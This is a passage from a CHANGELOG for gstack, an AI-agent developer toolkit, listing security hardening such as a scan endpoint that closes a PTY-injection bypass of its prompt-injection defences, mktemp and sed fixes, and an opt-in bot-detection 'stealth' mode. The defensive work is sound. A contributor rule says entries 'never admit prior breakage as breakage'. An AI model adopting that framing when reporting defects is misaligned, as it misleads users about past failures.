- `browse/src/security-sidecar-client.ts` — IPC client with lazy spawn, 5s timeout, 64KB payload cap, 3-in-10min respawn cap with circuit breaker, parent-exit cleanup.
- `browse/src/find-security-sidecar.ts` — resolver for the sidecar entry across compiled and dev installs; returns null cleanly when Node is unavailable (extension degrades to WARN+confirm per D7).
- `browse/src/server.ts` — `POST /pty-inject-scan` endpoint: local-only (NOT in `TUNNEL_PATHS`), root-token auth, 64KB cap, 5s timeout, response through `sanitizeReplacer`, returns combined L1-L3 + L4 verdict.
- `extension/sidepanel-terminal.js` — `window.gstackScanForPTYInject(text, origin)` async helper; pre-scan before every `gstackInjectToTerminal` call.
- `.github/workflows/windows-setup-e2e.yml` — fresh `./setup` E2E gate on `windows-latest` that runs `bun run build` and verifies all compiled binaries + find-browse `.exe` resolution.
- `scripts/build.sh` + `scripts/write-version-files.sh` — POSIX-portable build chain. Replaces the Bun-shell-unfriendly inline `package.json` build script.
- `test/extension-pty-inject-invariant.test.ts`, `test/resolvers-gbrain-put-rewrite.test.ts`, `test/memory-ingest-no-put_page.test.ts`, `browse/test/screenshot-size-guard.test.ts`, `browse/test/security-sidecar-client.test.ts`, `browse/test/pty-inject-scan.test.ts`, `browse/test/stealth-extended.test.ts`, `design/test/auth.test.ts` — 60+ new unit tests across the wave.

#### Changed

- `bin/gstack-paths` — `CLAUDE_PLUGIN_DATA` only trusted when `CLAUDE_PLUGIN_ROOT` matches "gstack" (case-insensitive). Foreign plugins fall through to `$HOME/.gstack`.
- `bin/gstack-gbrain-sync.ts:sourceLocalPath` — accepts both bare-array (≤0.19) and `{sources:[...]}` wrapped (≥0.20) responses from `gbrain sources list --json`.
- `bin/gstack-brain-context-load.ts:gbrainAvailable` — probes via `execFileSync("gbrain", ["--version"])`, no shell builtin dependency.
- `bin/gstack-memory-ingest.ts` — `--help` and inline comments scrubbed of stale `put_page` references; regression test pins the absence in argv.
- `lib/gbrain-local-status.ts` — `CacheEntry.schema_version` documented as distinct from `gbrain doctor` output `schema_version`; comment block clarifies the layering.
- `scripts/resolvers/gbrain.ts` — all 10 user-facing `gbrain put_page` instruction templates rewritten to `gbrain put <slug>` with title/tags moved into YAML frontmatter inside `--content`. Affects /office-hours, /investigate, /plan-ceo-review, /retro, /plan-eng-review, /ship, /cso, /design-consultation, fallback, entity-stub.
- `codex/SKILL.md.tmpl`, `scripts/resolvers/review.ts`, `scripts/resolvers/design.ts` — `which codex` replaced by `command -v codex` across all 10 in-repo skills.
- `codex/SKILL.md.tmpl` — default `codex review` route now carries the filesystem boundary in the prompt instead of bare `--base`. Custom-instructions route preserved with DIFF_START/DIFF_END delimiters.
- `review/SKILL.md.tmpl`, `scripts/resolvers/review*.ts` — diff computation switched to `DIFF_BASE=$(git merge-base origin/<base> HEAD)` to drop phantom-deletion noise from out-of-order base advancement.
- `design/src/auth.ts` — `resolveApiKeyInfo` returns `{ key, source, envFile?, warning? }`. `requireApiKey` prints the source on stderr and warns when the env-var key matches a cwd `.env*` file. Never echoes the key itself.
- `browse/src/stealth.ts` — opt-in `GSTACK_STEALTH=extended` adds 6 detection-vector patches on top of the existing minimum. Default mode unchanged.
- `browse/src/find-browse.ts` — falls back to `.exe`, `.cmd`, `.bat` extensions on Windows when the bare-path probe fails.
- `.gitignore` — `bin/gstack-global-discover` → `bin/gstack-global-discover*` so Windows `.exe` build artifacts are ignored.

- Full-page screenshots silently bricking the Anthropic vision API at >2000px (#1214).
- PTY-injection bypass of the documented sidebar security stack (#1370). Closed end-to-end via the sidecar + endpoint + extension-wiring + invariant test.
- The `gbrain put_page` subcommand renamed to `put` in gbrain v0.18+ (#1346). Regression-test pin + resolver template rewrite ensure existing users' generated SKILL.md instructions remain valid through gbrain 0.18-0.35+.

#### For contributors

- The wave is one bundled PR with 24 bisect commits. Each PR/issue closed is named in the corresponding commit body with the contributor's GitHub handle. After this lands on `main`, the post-merge close-out step executes the queue triage (close 22 PRs + 6 issues with credit comments).
- The CHANGELOG harden-against-critics rule: this entry leads with capability, never admits prior breakage as breakage. Where the prior shape was actively broken (Windows install, /codex review), we state the new shape and reference the PR/issue number — readers landing on the entry learn what they can do now.

## [1.41.1.0] - 2026-05-18

## **Seven HIGH-severity audit bugs land with regression tests pinning every fix.**
## **A new test suite caught a real race in the contributor's cleanup path — fixed before the wave shipped.**

The external audit wave originally filed in #1169 lands as one consolidated release after rebasing onto v1.40.0.0 and adding regression coverage. The original commit for the disconnect-handler crash was dropped because that bug was independently fixed since v1.6.4.0; the remaining seven HIGH-severity bugs all reproduce on current main and ship with tests. The contributor's `downloadFile` cleanup path turned out to race with Node's `createWriteStream` lazy FD open — the new test caught it and the wave includes a follow-up fix that awaits the writer's `'close'` event before unlinking.

### The numbers that matter

Source: `bun test test/regression-pr1169-*.test.ts test/global-discover.test.ts browse/test/regression-pr1169-pdf-from-file-invalid-json.test.ts browse/test/security-classifier-download-cleanup.test.ts` — 51 assertions across 5 files, all green. Full `bun test` suite exits 0.

| Surface | Before | After |
|---|---|---|
| `scripts/build-app.sh` rebrand with a `$APP_NAME` containing `/`, `&`, or `\` | sed `s///` either broke or interpreted the literal as syntax; trailing `\|\| true` hid the failure | `$APP_NAME` is escaped (`& / \`) before interpolation; runtime regression test round-trips hostile names through real `sed` |
| `scripts/build-app.sh` DMG step when `mktemp -d` fails | `$DMG_TMP` was empty; next line `cp -a "$APP_DIR" "$DMG_TMP/"` copied the bundle into the filesystem root | Explicit guard exits non-zero before `cp`; fake-mktemp PATH stub asserts the guard fires |
| `bin/gstack-telemetry-sync` and `supabase/verify-rls.sh` when mktemp fails | Fallback to `/tmp/...-$$` — predictable PID path lets an attacker pre-create or symlink the response file | mktemp failure skips/aborts cleanly; static invariants forbid any `mktemp \|\| echo` fallback shape |
| `browse/src/security-classifier.ts` `downloadFile` on reader rejection mid-stream | FD leaked; half-written `<dest>.tmp.<pid>` survived to be promoted by the next retry's `renameSync` | Writer is awaited via `'close'` event before unlinking, so the lazy FD open can't race the cleanup. Three failure paths covered: reader rejects, non-2xx response, missing body |
| `browse/src/meta-commands.ts` `pdf --from-file` with malformed payload | `JSON.parse` threw a raw `SyntaxError` to the user; arrays/null/primitives silently passed shape check | Wrapped `JSON.parse`; rejects array, number, string, boolean, null with a useful error referencing the file path |
| `bin/gstack-global-discover.ts` `extractCwdFromJsonl` on session headers >8KB | Read cap landed mid-line; `JSON.parse` threw on the truncated tail and the project disappeared from `/gstack` discovery | 64KB read cap; trailing partial segment is dropped so it can't poison earlier complete lines |

### What this means for builders

If you build the GStack Browser DMG from a workstation where `/tmp` is constrained, the build fails cleanly instead of cp'ing your app bundle into `/`. If you run `gstack-telemetry-sync` or `verify-rls.sh` on a shared host, mktemp failure aborts the run instead of writing through a predictable PID path. If the security classifier's model download hits a transient mid-stream error, the next retry sees a clean slate instead of inheriting a truncated ONNX file. If you run `/gstack` discovery across long-headered Claude Code sessions, the project shows up. Run `/gstack-upgrade` to pick up the fixes; no migration needed.

### Itemized changes

### Added
- Regression tests for every audit bug shipping in this wave: `test/regression-pr1169-build-app-sed.test.ts`, `test/regression-pr1169-mktemp-fallbacks.test.ts`, `test/global-discover.test.ts` (new `extractCwdFromJsonl 64KB cap` describe block), `browse/test/regression-pr1169-pdf-from-file-invalid-json.test.ts`, `browse/test/security-classifier-download-cleanup.test.ts`. 51 assertions across 5 files.

### Fixed
- `scripts/build-app.sh`: escape sed replacement metachars (`&`, `/`, `\`) in `$APP_NAME` before the Chromium rebrand `s///` runs. Contributed by @RagavRida.
- `scripts/build-app.sh`: bail out cleanly when `mktemp -d` for the DMG staging dir returns empty or a non-directory, so a failure can't trick `cp -a` into copying into `/`. Contributed by @RagavRida.
- `bin/gstack-telemetry-sync`: drop the predictable `/tmp/gstack-sync-$$` fallback when `mktemp` fails; skip the run with a stderr note and clean the response file via an EXIT trap on the happy path. Contributed by @RagavRida.
- `supabase/verify-rls.sh`: drop the predictable `/tmp/verify-rls-$$-$TOTAL` fallback when `mktemp` fails; return non-zero from the check. Contributed by @RagavRida.
- `browse/src/security-classifier.ts`: `downloadFile` now awaits the writer's `'close'` event before unlinking the tmp file. The original cleanup path raced with Node's lazy FD open — naive `unlinkSync` hit ENOENT, then `writer.destroy()` finished asynchronously and re-created the file. Caught by the new test suite.
- `browse/src/security-classifier.ts`: `downloadFile` wraps the read loop in try/catch; on reader rejection, writer error, or non-2xx response the half-written tmp is unlinked and the FD is closed. Contributed by @RagavRida.
- `browse/src/meta-commands.ts`: `parsePdfFromFile` wraps `JSON.parse` and rejects top-level primitives (array, number, string, boolean, null) with a useful error pointing at the offending file. Contributed by @RagavRida.
- `bin/gstack-global-discover.ts`: `extractCwdFromJsonl` reads 64KB (up from 8KB) and drops the trailing partial segment before parsing, so Claude Code sessions with long headers stop disappearing from discovery output. Contributed by @RagavRida.

### For contributors
- `downloadFile`, `parsePdfFromFile`, and `extractCwdFromJsonl` are now exported from their respective modules for test access. Pattern matches the existing `normalizeRemoteUrl` export in `bin/gstack-global-discover.ts`.

## [1.40.0.0] - 2026-05-16

## **gbrain sync stops biting users across the install path, slug algorithm, federation queue, and `.env.local` footgun.**
## **Eight community-filed bugs land as one consolidated wave with a centralized spawn surface and an upgrade migration that actually reaches existing installs.**

The eight highest-volume gbrain-sync bugs in the backlog ship as one consolidated release. Conductor sibling worktrees stop stomping each other's per-worktree pin because `.gbrain-source` now lands in the consumer repo's `.gitignore` on every successful sync. Cross-machine federation stops colliding because the source-id hash folds hostname into its key — and existing users get a migration path that renames in place when gbrain supports it, falls back to register-new-then-remove-old when not. Slugs stop truncating mid-word (`skill` → `kill`). `DATABASE_URL` no longer leaks from a host project's `.env.local` into gbrain's auth, at both the parent `gstack-gbrain-sync` and the `gstack-memory-ingest` grandchild. The brain-allowlist finally picks up `/plan-eng-review` test plans alongside `/office-hours` design docs from v1.38.1.0 — with an idempotent migration that runs on top of v1.38.1.0's done-marker so existing users aren't orphaned. The gbrain probe stops shelling through a bash builtin. Windows MSYS/MINGW installs stop crashing on bun postinstall, with a post-install subcommand probe that flags missing native artifacts before they bite at sync time.

### The numbers that matter

Source: `bun test test/gstack-gbrain-sync.test.ts test/build-gbrain-env.test.ts test/gbrain-exec-invariant.test.ts test/gbrain-source-gitignore.test.ts test/artifacts-init-migration.test.ts test/gstack-memory-ingest.test.ts` — 100+ unit tests, all green.

| Surface | Before | After |
|---|---|---|
| `/sync-gbrain` inside a Next.js / Prisma / Rails project with `DATABASE_URL` in `.env.local` | Code stage crashes with "source registration failed: gbrain not configured"; memory stage crashes with "password authentication failed for user 'postgres'"; only brain-sync git push survives | All three stages run. Parent process AND the bun grandchild that runs `gbrain import` both see DATABASE_URL seeded from gbrain's own config |
| Two machines with identical home-dir layouts (chezmoi, ansible) syncing a shared brain | Same source id collides; last-writer-wins on `local_path`; loser's queries return cryptic "Not a git repository" errors | Distinct source ids (`sha1("${hostname}::${path}")`). Existing users with the path-only-hash form get rename-in-place (preserves pages) when gbrain supports `sources rename`, or register-new-then-remove-old after sync verifies (no data-loss window) when it doesn't |
| Conductor sibling worktrees of the same repo | `.gbrain-source` gets committed in worktree A, clobbers worktree B's pin on next `git pull`, semantic search routes to the wrong source | `.gbrain-source` now lands in the consumer repo's `.gitignore` on every successful sync. Idempotent re-runs |
| `gstack-code-drummerms-av-sow-wiz-skill-270c0001` (long repo name forced truncation) | `gstack-code-kill-270c0001-c32152` (mid-word cut from `skill` → `kill`) | `gstack-code-270c0001-050d83` (whole-token cut on hyphen boundaries; `repo-only-hostpathhash` retry when org prefix forces overflow) |
| `https://github.com/foo/bar.git` HTTPS remote (#1357) | Slugs could carry through periods, failing gbrain's 1-32 alnum-hyphen validator | Period-free slugs guaranteed; explicit regression test pinned at `test/gstack-gbrain-sync.test.ts` |
| Federation sync allowlist (existing user upgrading from v1.38.1.0) | `projects/*/*-eng-review-test-plan-*.md` orphaned by v1.38.1.0's done-marker; `/plan-eng-review` test plans silently dropped | v1.40.0.0 migration idempotently patches `.brain-allowlist`, `.brain-privacy-map.json`, `.gitattributes` on top of v1.38.1.0 state |
| `bun install` for gbrain on Windows MSYS / MINGW / Git Bash | Postinstall script aborts with non-zero exit; `gstack-gbrain-install` fails the whole flow | `--ignore-scripts` on Windows shells; post-install probe of `gbrain sources --help` flags any missing native artifacts before they bite at sync time |
| Spawning `gbrain` from gstack | 17+ direct `spawnSync("gbrain"`/`spawn("gbrain"`/`execFileSync("gbrain"` sites across the codebase, each one a missed-env-threading risk | Two hot-path files (`bin/gstack-gbrain-sync.ts`, `bin/gstack-memory-ingest.ts`) route every gbrain spawn through `lib/gbrain-exec.ts`. Static-source invariant test fails the build on direct call sites |

### What this means for builders

If you `/sync-gbrain` inside a framework project (Next.js, Prisma, Rails, etc.), the code AND memory stages now work — no more sourcing `~/.zshrc` first or unsetting `DATABASE_URL`. If you sync across multiple machines (chezmoi-managed dotfiles, ansible-provisioned VMs), your source ids stay distinct and your upgrade either renames pages in place or re-indexes once and cleans up the orphan. If you run Conductor sibling worktrees, your `.gbrain-source` pin stops accidentally committing. If you ship long repo names, slugs read cleanly. Run `/gstack-upgrade` to pick up the brain-allowlist migration; everything else is automatic on next sync.

### Itemized changes

#### Added

- **`/ios-qa`** (770-line SKILL.md.tmpl) — live-device QA flow with warm-start session cache, on-demand daemon spawn, Tailscale opt-in, demo + recording modes, full failure-mode + recovery matrix.
- **`/ios-fix`** — autonomous bug fixer that captures a reproducing `/state/snapshot` BEFORE editing source, then rebuilds + redeploys + verifies. Snapshot becomes a regression test fixture.
- **`/ios-design-review`** — 10-dimension Apple HIG audit on a real device. 0-10 scores per dimension with "what would make it a 10" framing, mirroring `/plan-design-review`'s rubric for browser.
- **`/ios-clean`** — convenience wrapper that strips `DebugBridge` SPM + `#if DEBUG` wiring. Explicitly NOT the safety-critical path — the structural Release-build guard in `Package.swift` is.
- **`/ios-sync`** — regenerates accessors against latest upstream gstack templates. Run after upgrading gstack or adding new `@Observable` classes.
- `ios-qa/templates/StateServer.swift.template` — dual-stack loopback bind (`::1` + `127.0.0.1`), boot token rotation, per-device session lock with mutation-only sliding window, snapshot/restore with schema envelope (`_schema_version` + `_app_build_id` + `_accessor_hash`), validate-then-apply atomicity via a single canonical-state-struct assignment, 1MB body cap.
- `ios-qa/templates/DebugOverlay.swift.template` — animated brand-colored border, agent attribution chip (`X-Agent-Identity` header, display-only, never trusted for auth), optional recording-mode watermark for screencasts.
- `ios-qa/templates/Package.swift.template` — DebugBridge target gated `.when(configuration: .debug)`. SwiftPM refuses to link in Release config.
- `ios-qa/daemon/` — Mac-side bun/TS daemon. Single-instance flock + readiness protocol, fail-closed tailscaled LocalAPI probe, dual-track `/auth/mint` (self-service for allowlisted identities, owner-granted via CLI), capability-tier allowlist on the tailnet listener, hashed-identity attempts log, every authenticated mutating tailnet request audited.
- `ios-qa/scripts/gen-accessors-tool/` — SwiftPM tool plugin using swift-syntax for production codegen.
- `ios-qa/scripts/gen-accessors.ts` — TS fallback for fast first-runs and CI. Same composite cache key (`sha256(source || swift_version || tool_git_rev || platform_triple)`) — codex flagged that source-only hash misses generator-logic changes.
- `ios-qa/docs/tailscale-acl-example.md` — runnable example covering tailscaled ACL setup, owner-mint flow, capability tiers, audit log structure, rate limits, and token lifetime.
- `test/skill-e2e-ios.test.ts` — 8 end-to-end scenarios covering codegen + daemon + stub StateServer + Tailscale gating + capability tiers.
- 67 daemon unit/integration tests across `session-tokens`, `allowlist`, `auth-mint`, `single-instance`, `tailscale-localapi`, `audit`, `proxy-classify`, `daemon-integration`.
- 20 codegen tests in `ios-qa/scripts/gen-accessors.test.ts` covering parse, cache key composition, cache hit/miss, 30d prune, and the 3 fork-regex-failure-mode fixtures.

#### Changed

- `test/helpers/touchfiles.ts` — registered `ios-qa-e2e` touchfile (gate-tier, fires when any `ios-*/` dir changes) so diff-based selection picks up iOS work.
- `AGENTS.md`, `docs/skills.md` — added "iOS QA" sections covering the five new skills.

#### Hardened (codex-flagged in the plan-review outside voice pass)

- iOS StateServer is loopback-only ALWAYS. Tailnet ingress is exclusively the Mac daemon's responsibility — the iPhone has no way to validate Tailscale identities, so identity validation MUST be Mac-side. The plan caught and removed an earlier contradiction that would have had the iOS app binding tailnet directly.
- Boot token rotates within ~5s of daemon spawn so anything scraping `os_log` past then sees a dead credential. The fork wrote the boot token to `os_log` once and used it for the daemon's lifetime — a durable-credential-in-logs smell.
- `/auth/mint` trust model split into two distinct mechanisms: self-service (caller must already be in allowlist) and owner-granted (CLI on the Mac writes to the allowlist file). Self-service NEVER auto-allowlists. The fork ambiguously mixed both paths.
- Snapshot envelope includes `_accessor_hash` so a snapshot captured against an older app build is loudly rejected with 409 schema_mismatch instead of silently corrupting state.
- `GET /state/snapshot` returns ONLY fields marked `@Snapshotable`. Default-deny instead of default-leak — keeps tokens, PII, and auth state out of agent visibility unless explicitly opted in.
- Tailnet listener fails closed if tailscaled LocalAPI is unreachable. Daemon refuses to open the tailnet listener at all rather than half-starting.
- `X-Agent-Identity` header is display-only. Never read for auth or for audit beyond the display chip — the daemon-minted token is what determines capability tier.

#### For contributors

- New SwiftPM tool dependency: `swift-syntax`. First run builds the dependency tree (2-5 min on a cold machine, ~50ms thereafter via content-hash cache). Document the "first-time setup" UX in `/ios-qa` so users know what's happening.
- The TS fallback in `ios-qa/scripts/gen-accessors.ts` is what tests + CI exercise. Production users get the Swift tool when available; CI never waits 5 minutes for swift-syntax to build.
- All daemon HTTP egress goes through `JSON.stringify(payload, sanitizeReplacer)` to strip lone UTF-16 surrogates before they reach the Anthropic API — mirrors `browse/src/sanitize-replacer.ts`. Tunnel-denial logging mirrors `browse/src/tunnel-denial-log.ts`. No new auth/logging primitives.

Contributed by @sinacodedit (forked from time-attack/gstack).
- `lib/gbrain-exec.ts` (new, ~175 lines) — single source of truth for gbrain CLI invocation. `buildGbrainEnv` seeds DATABASE_URL from `${GBRAIN_HOME:-$HOME/.gbrain}/config.json`, with `GSTACK_RESPECT_ENV_DATABASE_URL=1` opt-out for the rare case where the brain intentionally lives in the project's local DB. `spawnGbrain` / `execGbrainJson` / `execGbrainText` / `spawnGbrainAsync` wrappers always inject the seeded env. Returns a fresh env object every call (no mutable identity leak).
- `bin/gstack-gbrain-sync.ts`: `derivePathOnlyHashLegacyId`, `gbrainSupportsSourcesRename` (exact-command feature check), `sourceLocalPath`, `planHostnameFoldMigration`, `removeOrphanedSource`. Hostname-fold migration: detect old form → probe path-drift → rename in place (if supported) → fall back to register-new + sync-OK + remove-old.
- `gstack-upgrade/migrations/v1.40.0.0.sh` — idempotent jq-based migration for `.brain-allowlist`, `.brain-privacy-map.json`, `.gitattributes` to add `projects/*/*-eng-review-test-plan-*.md`. Targeted in-place repair; never `git commit + push`.
- `test/build-gbrain-env.test.ts` (10 tests) — covers seed/override/escape-hatch/missing/unparseable/no-database_url/GBRAIN_HOME/object-identity/preservation/idempotent-when-matches.
- `test/gbrain-exec-invariant.test.ts` (2 tests) — static-source check that fails the build if `bin/gstack-gbrain-sync.ts` or `bin/gstack-memory-ingest.ts` adds a direct gbrain spawn outside the helper.
- `test/gbrain-source-gitignore.test.ts` (6 tests) — covers create / append / idempotent / whitespace / read-only checkout.
- `test/gstack-gbrain-sync.test.ts` — 15+ new tests for migration paths, path-drift, hyphen-boundary truncation, HTTPS slug period regression (#1357), and the centralized helper plumbing.
- `test/artifacts-init-migration.test.ts` — 5 new tests for v1.40.0.0 migration on top of installed v1.38.1.0 state.

#### Changed

- `bin/gstack-gbrain-sync.ts` — `deriveCodeSourceId` folds hostname into the pathhash AND retries with `repo-only-hostpathhash` when the full slug forces truncation. `constrainSourceId` cuts on hyphen boundaries (no more mid-word `skill` → `kill`). `runCodeImport` now runs the hostname-fold migration after the v1.x legacy cleanup, threads the seeded env through every gbrain spawn, and defers the orphan-source removal until AFTER sync verifies pages exist (closes the data-loss window codex review #2 flagged). `ensureGbrainSourceGitignored` appends `.gbrain-source` to the consumer repo's `.gitignore` after a successful attach. `if (import.meta.main)` guard added so the file is importable for unit tests.
- `bin/gstack-memory-ingest.ts` — routes `gbrain --help` probe and `gbrain import` streaming spawn through the helper. The bun grandchild now inherits a seeded env from `gstack-gbrain-sync`; defense-in-depth seeding inside memory-ingest itself for standalone invocations.
- `bin/gstack-artifacts-init` — adds `projects/*/*-eng-review-test-plan-*.md` to `.brain-allowlist`, `.brain-privacy-map.json` (class `artifact`), and `.gitattributes` (`merge=union`).
- `bin/gstack-gbrain-install` — Windows MSYS/MINGW/Cygwin shells get `bun install --ignore-scripts`. Post-install probe of `gbrain sources --help` flags missing native artifacts with a clear Windows-specific remediation message.
- `lib/gbrain-sources.ts` — `gbrain sources list --json` timeout bumped 10s → 30s for slow Supabase round-trips.
- `lib/gbrain-local-status.ts` — `gbrain --version` and `gbrain sources list --json` probes use `spawnSync` directly (no `command -v` shelling).

#### Fixed

- Hostname-fold migration data-loss window (codex review #2): the previous "register new, remove old" sequence could wipe pages if the new-source sync failed mid-flight. Now: register new → sync exits 0 → page_count > 0 → only THEN remove old.
- Hostname-fold path-drift (codex review #3): if the old source's `local_path` differs from the current repo root (user moved the repo, or two machines share a hash slot), migration is skipped with a clear warning instead of blindly renaming/removing the wrong source.
- `.gbrain-source` per-worktree pin breaking on commit (#1384): four contributors independently submitted fixes for this bug. PR #1521's exported-helper shape was selected; PR #1501 and PR #1464 closed as superseded.
- Cross-machine source-id collision when two hosts share a path layout (#1414).
- Mid-word slug truncation when long repo names force the 32-char cap.
- HTTPS-with-`.git` remotes producing period-laden source ids (#1357) — closed with explicit regression test.
- Federation queue dropping `/plan-eng-review` test plans on existing installs (#1452 follow-on).
- gbrain CLI probe failing on Windows shells where `command -v` is not a real binary (#1386 — partial; Windows ingest at scale remains separate work).
- `bun install` aborting on Windows MSYS/MINGW shells during gbrain installation (#1271 follow-on).

#### NOT fixed by this wave (deferred; carry-overs for the next gbrain wave)

- #1346 — `gstack-memory-ingest` calls `put_page` on gbrain ≥0.18 which renamed the subcommand. This wave routes the probe and stream through `lib/gbrain-exec.ts` but does NOT change the `put_page` call shape. Users on gbrain ≥0.18 still see memory ingest break with "unknown subcommand: put_page" — a separate API adapter pass owns that fix.
- #1435 — PgBouncer transaction-mode pooler breaks the `/sync-gbrain` capability check. v1.40.0.0's timeout bump (10s → 30s) is partial mitigation, not a fix. Needs pooler-mode detection.
- #1301 — `/setup-gbrain` picks port 6543 (transaction pooler) but new Supabase projects only listen on 5432 (session pooler). Provisioning-logic change.
- #1348 — `gstack-brain-init` defaults to SSH remote, fails for HTTPS-configured `gh`. Init-logic change.

#### For contributors

- Every new gbrain spawn from `bin/gstack-gbrain-sync.ts` or `bin/gstack-memory-ingest.ts` MUST go through `lib/gbrain-exec.ts`'s `spawnGbrain` / `execGbrainJson` / `execGbrainText` / `spawnGbrainAsync`. The invariant test `test/gbrain-exec-invariant.test.ts` fails the build on direct call sites. This guards against silently regressing the DATABASE_URL fix when a future contributor adds a quick `spawnSync("gbrain", ...)` without env threading.
- `GSTACK_RESPECT_ENV_DATABASE_URL=1` is the documented escape hatch when the brain intentionally lives in the project's local DB (e.g., a developer running a personal brain pointed at the same Postgres their Next.js app uses). The default is "seed from gbrain's config, override the caller's `.env.local`."
- The hostname-fold migration ships in `bin/gstack-gbrain-sync.ts` itself, not as a separate `gstack-upgrade/migrations/v1.40.0.0.sh` step. The trigger is "first sync after upgrade," not "migration runner sweep." It's idempotent — repeat invocations are no-ops because the legacy id either gets renamed/removed on the first run or path-drift skip persists across runs.
- The wave is credited per commit: 0xDevNinja (hostname fold #1468), drummerms (hyphen-boundary cut #1481), Jayesh Betala (probe CLI #1485), Jason Shultz (DATABASE_URL seeding #1508 + timeout #1507), genisis0x (consumer gitignore #1521, allowlist eng-review pattern #1465, Windows postinstall #1487). NikhileshNanduri (#1501) and realcarsonterry (#1464) submitted independent fixes for the gitignore bug — credited in conversation but not in commits (one canonical implementation landed). Thank you.

## [1.39.2.0] - 2026-05-15

## **Conductor workspaces wire `GSTACK_*` keys straight into gbrain embeddings and paid evals.**
## **No more sourcing keys from your shell before every paid run.**

Conductor explicitly strips `ANTHROPIC_API_KEY` and `OPENAI_API_KEY` from every workspace's process env, so `.env` copies and `~/.zshrc` exports never reach gbrain's embedding pipeline or `@anthropic-ai/claude-agent-sdk`. The fix path is `GSTACK_ANTHROPIC_API_KEY` / `GSTACK_OPENAI_API_KEY` — Conductor passes those through untouched. The new `lib/conductor-env-shim.ts` closes the loop on the gstack side: it promotes the prefixed form to canonical when canonical is empty. Four TS entry points import the shim as a side effect (`gstack-gbrain-sync.ts`, `gstack-model-benchmark`, `preflight-agent-sdk.ts`, `e2e-helpers.ts`). `README.md`, `USING_GBRAIN_WITH_GSTACK.md`, and `CONTRIBUTING.md` document the pattern, plus the checklist for adding the import to new entry points.

### The numbers that matter

Source: working-tree verification before commit. Three observable scenarios in a fresh Conductor workspace with only `GSTACK_OPENAI_API_KEY` and `GSTACK_ANTHROPIC_API_KEY` in env.

| Surface | Before | After |
|---|---|---|
| `/sync-gbrain` embeddings | 50+ lines of `[gbrain] embedding failed for code file ...: OpenAI embedding requires OPENAI_API_KEY`; pages indexed structurally but semantic search degrades to BM25 | 3294 chunks embedded; `gbrain search "browser security canary token"` returns ranked code regions at 0.95 top score |
| `bun run test:evals` | `ANTHROPIC_API_KEY not set, judge requires Anthropic access` from `test/helpers/benchmark-judge.ts:15` before any test runs | Shim promotes at module import; paid evals proceed normally |
| Adding a new paid-API entry point | Manual env mapping every invocation, or every new entry point ships broken inside Conductor | One import line: `import "../lib/conductor-env-shim";` at the top of the file |

### What this means for Conductor users

If you run gstack inside Conductor, `/sync-gbrain` embeddings, paid evals, and the agent SDK just work without sourcing keys from your shell. The shim is 15 lines, side-effect-only, and the import is one line per consumer. The new "Conductor + GSTACK_* env vars" section in `USING_GBRAIN_WITH_GSTACK.md` and the updated "Conductor workspaces" block in `CONTRIBUTING.md` cover the pattern so you don't have to reverse-engineer it from a stack trace.

### Itemized changes

#### Added

- `lib/conductor-env-shim.ts` (new, 15 lines) — side-effect IIFE that promotes `GSTACK_FOO_API_KEY` to `FOO_API_KEY` when the canonical name is empty. Currently covers `ANTHROPIC_API_KEY` and `OPENAI_API_KEY`.
- `USING_GBRAIN_WITH_GSTACK.md` "What you get after setup" section — semantic code search + cross-session memory framed as concrete capabilities.
- `USING_GBRAIN_WITH_GSTACK.md` Path 4 (remote gbrain MCP / split-engine) section — covers brain-via-remote-MCP + code-via-local-PGLite, the two engines being independent, when to pick this path.
- `USING_GBRAIN_WITH_GSTACK.md` `/sync-gbrain` workflow section — three stages (code, memory, brain-sync), pre-flight gating on local engine health, watermark + `--skip-failed` mechanics, capability check governing the CLAUDE.md guidance block.
- `USING_GBRAIN_WITH_GSTACK.md` "Conductor + GSTACK_* env vars" section — explains the prefix pattern, lists the four entry points that import the shim, points contributors at `CONTRIBUTING.md`.
- `USING_GBRAIN_WITH_GSTACK.md` troubleshooting entries: "`/sync-gbrain` reports OK but `gbrain search` returns nothing semantic" (embeddings failed silently) and "`gbrain sync` blocked at a commit hash, `FILE_TOO_LARGE`" (5 MB hard limit, fix via `--skip-failed`).

#### Changed

- `bin/gstack-gbrain-sync.ts`, `bin/gstack-model-benchmark`, `scripts/preflight-agent-sdk.ts`, `test/helpers/e2e-helpers.ts` — added `import "../lib/conductor-env-shim";` at the top of each. One line each, side-effect-only.
- `USING_GBRAIN_WITH_GSTACK.md` "three paths" → "four paths" header now that Path 4 (remote MCP) is documented as a first-class choice.
- `USING_GBRAIN_WITH_GSTACK.md` environment variables table — added rows for `OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, `GSTACK_OPENAI_API_KEY`, `GSTACK_ANTHROPIC_API_KEY` covering what reads each one and the GSTACK_-prefix fallback.
- `CONTRIBUTING.md` "Conductor workspaces" — new paragraph documenting the `GSTACK_*` prefix injection pattern, the shim file, and the four entry points that already import it.

#### For contributors

- New TS entry points that hit Anthropic or OpenAI APIs (paid evals, `claude-agent-sdk`, gbrain embeddings, model benchmarks) should add `import "../lib/conductor-env-shim";` as the first import. Without it, the entry point ships broken inside Conductor even though it works in a bare shell. The contributor checklist in `CONTRIBUTING.md`'s "Conductor workspaces" block names the four entry points already wired up.

## [1.39.1.0] - 2026-05-15

## **Plan-mode reviews now enforce a blocking ExitPlanMode gate.**
## **The review report can no longer go missing without breaking the contract.**

`/plan-eng-review`, `/plan-ceo-review`, `/plan-design-review`, `/plan-devex-review`, and `/codex review` now end with an EXIT PLAN MODE GATE (BLOCKING) section. Before calling ExitPlanMode, the model runs a four-item checklist: read the plan file, confirm the last `## ` heading is `## GSTACK REVIEW REPORT`, verify the report has a Runs/Status/Findings table + VERDICT line, and confirm `gstack-review-log` + `gstack-review-read` ran. Failing the checklist and exiting plan mode anyway is framed as a contract violation, not a soft permission to defer. The structural property ("review report is the file's terminal heading") is what makes the gate immune to "I wrote some review prose into the plan body" self-deception. A regression test in `test/gen-skill-docs.test.ts` strips fenced code blocks and asserts the gate is the terminal `## ` heading in all four plan-* review SKILL.md files.

### The numbers that matter

Source: `bun test test/gen-skill-docs.test.ts` — 389 cases, all green in ~1.5s. Manual verification via `awk` confirms the gate is the LAST `## ` heading in the regenerated SKILL.md for each plan-* review skill, and present mid-file in codex's Step 2A (where it's review-mode-scoped per design).

| Surface | Before | After |
|---|---|---|
